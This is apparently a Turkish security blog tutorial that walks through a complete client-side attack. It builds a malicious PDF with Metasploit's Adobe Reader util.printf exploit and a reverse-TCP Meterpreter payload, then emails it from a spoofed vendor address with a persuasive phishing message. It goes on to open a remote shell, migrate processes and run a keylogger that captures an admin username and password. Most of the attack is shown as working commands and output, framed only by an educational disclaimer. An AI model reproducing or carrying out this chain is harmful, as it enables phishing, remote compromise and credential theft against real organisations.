İstemci Tarafı Exploitler

Önceki yazılarımızda Windows ve Linux için kullanılan istemci tarafı exploitleri görmüştük. Bu yazımızda başka bir senaryoya bakmak istiyorum.

Başarılı bir bilgi toplama safhasından sonra bir IT firması ile ilgili şu sonuca ulaştığımızı farz edelim. Firma;

1) Kullandıkları sistemler en yeni teknolojidir.

2) IT departmanının eposta adresi: itdept@victim.com

Şimdi bu durumda, IT departmanında bir bilgisayara ulaşmak ve keylogger adı verilen (tuş kaydedici) çalıştırmak istiyoruz. Bu sayede klavyeden bastıkları tuşları kayıt ederek yararlı bilgiler elde etmek mümkün olacaktır.

msfconsole komutu ile Metasploit Framework’ü çalıştıralım. IT departmanının ilgisini çekecek ve açıp okumak isteyeceği bir PDF dokümanı hazırlayalım. Dokümanın güvenlikle ilgili ve mantıklı bir başlığının olması gerektiğini unutmayın. Ayrıca Antivirüs yazılımları tarafından zararlı olarak algılanmaması gerekmektedir.

Böyle bir PDF dokümanı hazırlamak için Adobe Reader ‘util.printf()’ JavaScript Function Stack Buffer Overflow Zafiyetini kullanacağız. Bunun için exploit/windows/fileformat/adobe_utilprintf modülünü yükleyelim.

msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set FILENAME BestComputers-UpgradeInstructions.pdf
FILENAME => BestComputers-UpgradeInstructions.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128
LHOST => 192.168.8.128
msf exploit(adobe_utilprintf) > set LPORT 4455
LPORT => 4455
msf exploit(adobe_utilprintf) > show options

Module options (exploit/windows/fileformat/adobe_utilprintf):

   Name      Current Setting                        Required  Description
   ----      ---------------                        --------  -----------
   FILENAME  BestComputers-UpgradeInstructions.pdf  yes       The file name.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.8.128    yes       The listen address
   LPORT     4455             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Adobe Reader v8.1.2 (Windows XP SP3 English)

Çıktıdan da görüleceği gibi FILENAME değişkenini yani dosya adını istediğiniz gibi ayarlayabilirsiniz. Payload kısmında ise LHOST ve LPORT değişkenlerini dinleme yapılacak bilgisayarın bilgileri olarak ayarlamamız gerekmektedir. Ardında exploit komutu ile modülü çalıştıralım.

msf exploit(adobe_utilprintf) > exploit

[*] Creating 'BestComputers-UpgradeInstructions.pdf' file...
[*] BestComputers-UpgradeInstructions.pdf stored at /root/.msf4/local/BestComputers-UpgradeInstructions.pdf
msf exploit(adobe_utilprintf) >

Görüldüğü gibi PDF dosyası, /root/.msf4/local/ içerisine oluşturulmuştur. Bu dosyayı kolay ulaşım için /tmp klasörü içine kopyalayalım. Şimdi dosyamızı ilgili eposta adresine göndermeden önce bilgisayarımızda dinleyici modülü çalıştırmamız gerekiyor. Bunun için exploit/multi/handler modülünü kullanacağız. LHOST ve LPORT değerlerini PDF dosyası oluştururken verdiğimiz değerlerle aynı olmasına dikkat ediyoruz.

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4455
LPORT => 4455
msf exploit(handler) > set LHOST 192.168.8.128
LHOST => 192.168.8.128
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...

Dinleyici modülü aktif hale getirdikten sonra bir şekilde PDF dosyasını itdept@victim.com adresine göndermemiz gerekiyor. Bunu aşağıdaki örnek komutla yapabilirsiniz. Başka eposta gönderme yöntemleri de kullanabilirsiniz. Komut örnek olarak verilmiştir.

root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
  - First line must be received within 60 seconds.
  - End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.

Sincerely,

Best Computers Tech Support
Aug 24 17:32:51 kali sendEmail[13144]: Message input complete.
Aug 24 17:32:51 kali sendEmail[13144]: Email was sent successfully!

Bu örnek komutta kullanılan parametreleri kısaca açıklayalım.

-t: TO yani alıcı adresi ifade eder. -f: FROM yani gönderici adresi ifade eder. -s: SMTP Server IP adresini ifade eder. -u: TTITLE yani postanın konusunu ifade eder. -a: ATTACHMENT yani ekli dosyayı ifade eder.

Komutu yazıp ENTER tuşuna bastığınızda, epostanın Metin kısmını yazmaya başlayabilirsiniz. Yazım tamamlandıktan sonra CTRL+D tuşları ile işlemi tamamlayabilirsiniz. Böylece posta alıcı adrese gönderilecektir.

Alıcı, bu postayı alıp Antivirüs programı ile kontrol ettiğinde zararsız olarak sonuç alacaktır ancak dosyayı açmak için tıkladığında karşısına boş bir ekran gelse bile aslında dinleyici bilgisayarla iletişim kurulmuş olur.

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (718336 bytes)
session[*] Meterpreter session 1 opened (192.168.8.128:4455 -> 192.168.8.130:49322)

meterpreter >

Gördüğünüz gibi, PDF dosyası açıldığında Meterpreter shell açılmış durumdadır. Artık karşı tarafın bilgisayarında çeşitli komutları çalıştırmak mümkündür. Son olarak post/windows/capture/keylog_recorder modülünü çalıştırarak tuş hareketlerini kaydetmek mümkün hale gelmiştir.

meterpreter > ps

Process list
============

    PID   Name            Path                                 
    ---   ----            ----                                 
    852   taskeng.exe     C:\Windows\system32\taskeng.exe      
    1308  Dwm.exe         C:\Windows\system32\Dwm.exe          
    1520  explorer.exe    C:\Windows\explorer.exe              
    2184  VMwareTray.exe  C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    2196  VMwareUser.exe  C:\Program FilesVMware\VMware Tools\VMwareUser.exe
    3176  iexplore.exe    C:\Program Files\Internet Explorer\iexplore.exe
    3452  AcroRd32.exe    C:\Program Files\AdobeReader 8.0\ReaderAcroRd32.exe

meterpreter > run post/windows/manage/migrate 

[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)

meterpreter > sysinfo
Computer: OFFSEC-PC
OS      : Windows Vista (Build 6000, ).

meterpreter > use priv
Loading extension priv...success.

meterpreter > run post/windows/capture/keylog_recorder 

[*] Executing module against V-MAC-XP
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt
[*] Recording keystrokes...

Kaydedilen tuşları, 20110323091836_default_192.168.1.195_host.windows.key_832155.txt dosyasının içeriğinden kontrol edebilirsiniz.

root@kali:~# cat /root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt
Keystroke log started at Wed Mar 23 09:18:36 -0600 2011
Support,   I tried to open ti his file 2-3 times with no success.  I even had my admin and CFO tru   y it, but no one can get it to p open.  I turned on the rmote access server so you can log in to fix our p         this problem.  Our user name is admin and password for that session is 123456.   Call or eme ail when you are done.   Thanks IT Dept

Görüldüğü gibi IT çalışanı, tuş hareketlerinde kullanıcı adının admin ve parolasının 123456 olduğunu habersizce ortaya çıkarmıştır.


Yazar


İnternette araştırdığı faydalı bilgileri bu blogta yayınlamaktadır.
Genel olarak Linux ve güvenlik konularına ilgi duyar.
Yazara ait blog yazıları eğitim amaçlıdır.
Etik kuralların dışında kullanım sorumluluğu kullanıcıya aittir.
Destekleyin: 1C19wAdiSPYEBW3F1TUhGVvZeiMHEU4x8x

subscribe via RSS